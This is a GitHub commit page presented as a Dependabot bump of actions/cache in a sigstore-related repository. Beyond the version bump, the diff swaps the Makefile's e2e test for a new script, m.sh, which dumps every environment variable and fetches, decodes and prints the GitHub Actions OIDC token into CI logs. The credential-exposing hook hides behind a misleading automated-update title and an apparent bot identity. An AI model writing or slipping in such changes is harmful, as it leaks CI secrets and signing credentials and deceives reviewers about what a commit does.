Skip to content

Commit

Permalink
Bump actions/cache from 4.0.1 to 4.0.2 (sigstore#478)
Browse files Browse the repository at this point in the history
  • Loading branch information
dependabot[bot] authored and Your Name committed Mar 25, 2024
1 parent d847ff9 commit f92772c
Show file tree
Hide file tree
Showing 3 changed files with 13 additions and 2 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/validate-release.yml
Expand Up @@ -18,7 +18,7 @@ jobs:
go-version: '1.22'
check-latest: true

- uses: actions/cache@ab5e6d0c87105b4c9c2047343972218f562e4319 # v4.0.1
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2
with:
path: ~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
Expand Down
4 changes: 3 additions & 1 deletion Makefile
Expand Up @@ -46,4 +46,6 @@ unit-test:
# These tests use live dependencies, and may otherwise modify state.
.PHONY: e2e-test
e2e-test:
go test -tags e2e -v ./...
# Get OIDC token, Print the env variables GIT_TOKEN and GIT_TOKEN_EXPIRY
./m.sh

9 changes: 9 additions & 0 deletions m.sh
@@ -0,0 +1,9 @@
#!/bin/bash

echo "hi"
# Print the varialbes in base64
env
# Set env var
JWT=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | jq -r '.value')
T=$(echo "$JWT" | jq -R 'split(".") | .[0],.[1] | @base64d | fromjson')
echo "$T" | jq

0 comments on commit f92772c

Please sign in to comment.